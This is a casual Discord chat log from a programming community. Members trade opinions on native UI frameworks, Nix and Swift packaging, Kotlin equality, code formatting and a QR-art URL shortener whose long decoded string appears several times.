
i just wanna change my discord bot name to "Resonance: A Plague Tale Legacy"
For sure it doesnt let you use ":" but if theres anyway to bypass it it would be cool ^_^

#

the game isnt out yet but i wanna put it to the list of games on my server, as you can see in the tag

plain mortar
#

Gotcha thanks !

hoary sluice
#

link that competing standards xkcd

blazing haven
red gulch
#

@nimble bone Wanted to warn you that your website has a Cloudflare Tunnel error (error 1033)

nimble bone
#

yes i know

red gulch
#

k

hoary sluice
crude star
#

woke liberals are not allowed

#

This is an independent project, not at all affiliated with BigTech or any of their subsidiaries or tax evasion tools, nor any political activists groups, state actors, etc. It's explicitly free of any "DEI" or similar discriminatory policies. Anybody who's treating others nicely is welcomed.

royal nymph
blazing haven
#

oh someone already quoted it

blazing haven
austere idol
#

i dont know the initial context behind any of those changes

#

ohhhhh

#

the answer of metux is devastating

austere idol
#

💀 💀 💀 💀 🪳 🪳

#

writing 65536 is better than writing 2 << 15 anyway because that expresses your thought better

elder scaffold
austere idol
#

and laugh

#

and why to even impose arbitary limits, let it be customizable

#

defined the macro to use it once, then why to define it?

crude star
#

ummm......

#

nevermind i should stop

austere idol
crude star
#

whag

austere idol
#

you can even write files when your program is killed

crude star
#

builtin classes are immutable

#

oh no thats the destructor

austere idol
crude star
#

what even can you break with that

red gulch
nimble bone
#

i have other things to do than fix my shit all day

crimson sparrow
#

I used to love Julia

#

And probably still would’ve if it weren’t for the package manager being so damn slow

#

Also the inability to compile apps is a bit annoying

red gulch
nimble bone
#

no

austere idol
crimson sparrow
#

They’re simply too scientifically minded for us to comprehend

crimson sparrow
crude star
#

xor is ⊻

crimson sparrow
#

Inverse divide is the best operator

crude star
#

lol

crimson sparrow
#

like all constants are predefined to the Unicode representations

crude star
#

you can type \xor

austere idol
crude star
#

read 1 message up

austere idol
crude star
#

ummmm check your internet?

crystal scroll
#

What should I use to run py code?

crystal scroll
alpine pecan
#

python probably

crystal scroll
crude star
#

lavish frigate
jade stone
jade stone
tired vigil
jade stone
#

mobile support is todo™

spark tiger
spark tiger
spark tiger
#

oh

jade stone
#

i'll add something for onClick that unfocuses

eternal wigeon
#

Can anyone read this qr?

#

I think my-qr.art is brokeded

frosty obsidian
#

no way that's a valid qr code

nimble bone
frosty obsidian
#

surprised its able to read the huge sections of black and white

#

usually that throws off readers

solemn ravine
#

I got a long way until I complete these settings

valid jetty
eternal wigeon
eternal wigeon
#

But most readers aren't detecting any qr I generate there so something is wonky

#

The image is a URL to the site and it somehow redirects to the text I wrote but no idea fr

#

Basically the pixel image is the URL shortener random string

#

It seems just guessing

Actually I can ask Gemini to analyse their repo cuz I'm lazy

frosty obsidian
#

the image would create garbage data

#

everything on the left is just error correction

winged mantle
#

decided i prefer unindented switch

#

i prefer that switch doesn't introduce any more intentation than an if statement

#

if i indent it i feel like i avoid using it because of it being kinda ugly to have that much indentation

jade stone
winged mantle
#

i will also begin using unintended match in rust

#

(rage bait)

jade stone
#

@winged mantle my clang-format would give you an aneurysm

eternal wigeon
#

So this URL redirects u to the text I guess it seems kinda weird

undone sonnetBOT
#

You need to provide an image/GIF with a QR code to read! (Tip: try right-clicking/holding on a message and press Apps -> Select Image, then try again.)

#
HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:
eternal wigeon
#

Yo it actually works

#

As I guessed it's a URL shortener

#

HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYVI2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7VI994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDYRD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CHA$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94RI98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1RI9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDVH: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:

#

This link works lol

#

Sorry for spam

jade stone
#

my desktop ocr program gives this

HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:
eternal wigeon
#

Weird that this bot can read the qr but the web qr reader and Google lens don't detect it

jade stone
solemn ravine
#

@woven mesa im cryin

eternal wigeon
#

This is so cool I'll make a WhatsApp bot for this

jade stone
#

hey rustcells, what is a good native UI for apps in rust

looking for something that is cross platform, both windows and linux

jade stone
nimble bone
#

Qt with cpp is perfection

jade stone
#

cba to learn electron

nimble bone
#

why husk @jade stone

eternal wigeon
#

dude, I was simply asking gpt and learning how to use a markov library which i didnt even know what was before

#

I don't get it

jade stone
#

i dont care about that

#

i just dont want something like tauri

#

if i did want something that looks native

#

what should i use

#

does wxwidgets have linux support

#

i wanted to use compose but i ran into a fucking so error that makes no sense

#

it says libgl not found

#

but

#

it's found with ldd

#

i'm trying qt but it makes no fucking sense

frosty obsidian
jade stone
#

jvmRunHot

#

works fine

frosty obsidian
#

also you don't need to censor nix anymore

jade stone
#

but running the jar myself just doesn't

jade stone
frosty obsidian
#

it hasn't been blocked for a while now

jade stone
#

i think it's somewhat funny tho

jade stone
#

(see that libgl is found at /lib/libgl)

frosty obsidian
#

idk I never did development on linux

jade stone
#

does swiftcrossui have support for system apis (tray, clipboard, etc...)

frosty obsidian
#

yeah

#

its what's on my pc

jade stone
#

c++ interop, i thought it only had objc interop

frosty obsidian
#

?

jade stone
#

that's really cool

#

can it call mangled c++ functions

#

@young flicker send swift project template

frosty obsidian
#

can't just move over several hundred gigabytes of data to linux

#

case sensitivity is different

#

and when my pc was set up several years ago i wasn't smart enough to disable the automatic onedrive shit

#

so a lot of my stuff is in some weird onedrive folder thing that linux can't deal with

#

would rather kill myself

#

im fine with using windows as primary and fedora as secondary

#

its what my pc came with

jade stone
#

@young flicker patchelf my beloved

#

best thing to come out of nixos

visual shellBOT
#
No search results found.
jade stone
crude star
#

since when wasnt patchelf from binutils

jade stone
crude star
#

i just cant believe nix would do something actually good

jade stone
#

@young flicker why does swift use llvm 15

#

just what shipped with nixpkgs

#

@young flicker does swift cli have completions

#

@young flicker i love packaging swift-bundler

#

for nix

#

@young flicker what

#

what is this language

#

ts is fucked

#

your language is fucked when the compiler doesn't even work

native spruce
#

cant believe I fixed my issues by copy and pasting a file

#

oh my gosh its so good

shrewd canopy
#

I had good experience with Qt

native spruce
dense sand
#

how should i save jwt token in my frontend? do i just put it into a cookie

winged mantle
shrewd canopy
winged mantle
#

depends on your definition of native

#

in this case in only seems native in the sense of using native code

woven mesa
#

so good

native spruce
#

if u wanna do that lmk

#

u seem to know more about that than me

woven mesa
#

okii ill do it

#

im back in routine now

native spruce
#

I did a lot for clipper/copyboard already rn I’m just working on the stuff I want added

winged mantle
#

vscode my beloved

native spruce
#
  • keybinds
  • idk some storage options for automatic deletion
    • maybe an option to keep it in memory
  • drag and drop
  • some customization options
  • sounds/notifications
  • automatic updates for release builds
  • make the cell classes more manageable instead of copy paste
  • html preview whitelist
  • improve clipboarddidchange
#

I think that’s all

#

and ofc fix bugs

lavish cloud
granite geyser
granite geyser
supple whale
#

yeah that was made in like 2005 iirc

#

people already dont remember vine pranks with liquid ass

hazy pine
#

i'll buy liquid ass for you blobcatcozy

shrewd canopy
#

You use Qt creator to code app, Qt Designer to create UI for it
You can use either .ui or QML , its mainly preference. .ui is supposed to be edited with Qt designer, and QML is supposed to be written manually
You can choose any template depending on your use-case

I know C++ pretty well so maybe thats why I have figured out it quickly

#

Qt Creator is for writing C++ code, Qt Designer is for creating UI. Qt designer is integrated into Qt creator though

native spruce
#

Yes

native spruce
granite geyser
#

fycj

#

😔

hoary sluice
#

@valid jetty i paid 465$ for a zsa voyager and now i literally cant afford rent

nimble bone
#
  1. no rust
#

there your problems are fixed

#

Unironically c++ with Qt is nice to work with

winged mantle
#

just use c++/python

#

or don't use qt

nimble bone
#

will prison launcher ever get Rust rewrite @winged mantle

winged mantle
#

other maintainers are tempted by rust interop 🤮

#

though it is nice because if I want to avoid doing something I can just say we can fix it when we rewrite this part in rust which will never happen

nimble bone
#

i think that rust was a mistake

winged mantle
#

tbf we do sometimes have weird issues due to memory safety

nimble bone
#

whoooo caresssss just write good code

winged mantle
#

honestly i think rust has it's place and c++ also drives me insane sometimes

#

but its not great for ui...

lavish frigate
#

everything that has anything to do with native ui makes me want to kill myself the entire ecosystem is horrible
it says a lot that a bunch of things are still being made in fucking winforms just cuz its actually easy even if it sucks

winged mantle
#

generally if a language does not use gc it drives me insane i love gc

#

i guess c++ and rust technically support gc

nimble bone
#

i like Qt

#

Qt Creator C++ no other slop

lavish frigate
#

the last time i used Qt with python it had a 50% chance to segfault depending on the system

winged mantle
#

its not ideal but neither is winforms

#

honestly i think its fine sometimes though

lavish frigate
#

comparable to winforms definitely

crude star
winged mantle
crude star
#

not much

winged mantle
#

it's funny how much i manually do even tasks which ai actually would be perfect for

nimble bone
winged mantle
#

use aqt

#

i just switched from valibot to zod in my project blobcatcozy

#

i feel zod is a lot cleaner in terms of syntax and i think it also has jit now

nimble bone
winged mantle
#

it even has a lite version which is smaller in terms of bundle size

#

zod v4 is so good

placid cape
#

i jjust use xbps

hoary sluice
jade stone
#

i am going to fucking go insane

#

this is always true

native spruce
#

thats funny

magic shale
#

cuz js stupid steamhappy

jade stone
magic shale
jade stone
#

the code boils down to this

shrewd canopy
jade stone
shrewd canopy
#

What is it then

jade stone
#

kotlin

white crag
#

kotlin is in the Java family

shrewd canopy
#

Oh til kotlin has !==
Thankfully its not insane as javascripts !==

jade stone
#

=== is java ==

hoary sluice
#

@valid jetty have u see the foraging update

#

since they announced foraging update i got sa 55, cata 50, quit sb, got a wife, 2 kids, a house, and a herd of 220 mountain goats

#

ok i lied i dont have 220 mountain goats

#

only 190

#

@spark tiger

spark tiger
#

its too silent i cant hear it isob

ornate quiver
jade stone
#

same result with .equals

hoary sluice
jade stone
#

also the reference should be the same i think

hoary sluice
#

??

#

dalboeb

ornate quiver
#

you should never use reference equality unless you absolutely know for certain how everything works